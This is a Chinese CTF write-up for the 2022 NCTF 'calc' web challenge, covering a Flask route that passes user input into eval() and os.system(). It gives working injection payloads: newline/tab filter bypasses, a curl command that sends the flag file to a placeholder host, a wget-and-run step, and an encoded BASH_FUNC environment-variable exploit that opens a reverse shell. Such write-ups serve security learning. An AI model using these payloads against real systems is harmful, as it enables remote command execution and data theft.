calc

访问之后获得源码



    @app.route("/calc",methods=['GET'])

def calc():

    ip = request.remote_addr

    num = request.values.get("num")

    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

    if waf(num):

        try:

            data = eval(num)

            os.system(log)

        except:

            pass

        return str(data)

    else:

        return "waf!!"

可以看到它定义了一个 clac路由然后get的方式接受了一个num的参数

然后经过了 waf 最终执行os.system (log)

这里我们可以传入 %27%27%27111%0als%09/%0a%27%27%27

我们输入%27%27%27%27%27%27的目的是不上上面的eval 报错

在py里面三个引号表示一个字符串所以在 eval(num)这里不会报错的（不过我不知道为什么我在我本地试是会报错的）

但是在远程是可以继续往下去执行的要不然也不会去返回结果

return 实在 eval后面的所以意思就是题目环境是没有什么问题的

然后漏洞的真正的利用点是 os.system(log)

看看 log是怎么来的

log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S" ,time.localtime()) ,ip ,num)

我们可控的点就是这个 nun 然后会执行 os.system 这个函数就是直接可以执行系统命令然后由于上面是 echo 然后我们可以随便在 num这里写上换行符 url编码之后就是 %0a 这样前面所有拼接的就被当成第一行系统命令去执行了然后经过换行之后执行第二行的系统命令因为这里是 echo 命令所以后面只添加一些字符串的话是不会报错的可以继续往下去执行然后由于空格被过滤了我们可以使用 tab键来代替空格 url编码是%09 然后在完成我们想要执行的额命令之后后面只需要拼接上 %0a 就可以继续换行执行下一行命令了

然后具体执行什么命令呢

可以post发包

curl http://xxxxx:2333 -d @/Th1s_is__F1114g

%27%27%271%27%0awget%09-O%09./tmp/test5.txt%09http://xxxxxx/test11.txt%09%0a%273%27%27%27

%27%27%271%27%0Ash%09./tmp/test5.txt%0A%272%27%27%27

刚刚这个是非预期

后来github上发了源码然后就出现了官方wp

如何修复非预期的呢就是官方wp是通过变量覆盖环境变量的

怎么覆盖环境变量呢由于过滤了 = 在python 中可以用for 循环来覆盖变量

有因为过滤了空格就可以用%09或者这里利用python的特性可以直接用[]来绕过空格

os.environ['BASH_FUNC_echo%%']='() { id; }'

覆盖这个环境变量就可以执行命令了 id就是我们想要执行的命令了

exp

[[str][0]for[%EF%BD%8Fs.environ[%27\x0\x42\x0\x41\x0\x53\x0\x48\x0\x5f\x0\x46\x0\x55\x0\x4e\x0\x43\x0\x5f\x0\x65\x0\x63\x0\x68\x0\x6f\x0\x25\x0\x25\x0\x7\x0\x0\x0\x27\x0\x28\x0\x29\x0\x20\x0\x7b\x0\x20\x0\x62\x0\x61\x0\x73\x0\x68\x0\x20\x0\x2d\x0\x69\x0\x20\x0\x3e\x0\x26\x0\x20\x0\x2f\x0\x64\x0\x65\x0\x76\x0\x2f\x0\x74\x0\x63\x0\x70\x0\x2f\x0\x78\x78\x78\x78\x78\x2f\x0\x32\x0\x33\x0\x33\x0\x33\x0\x20\x0\x30\x0\x3e\x0\x26\x0\x31\x0\x3b\x0\x20\x0\x7d%27]]]

巴特西

2022NCTF

calc

最新文章

热门文章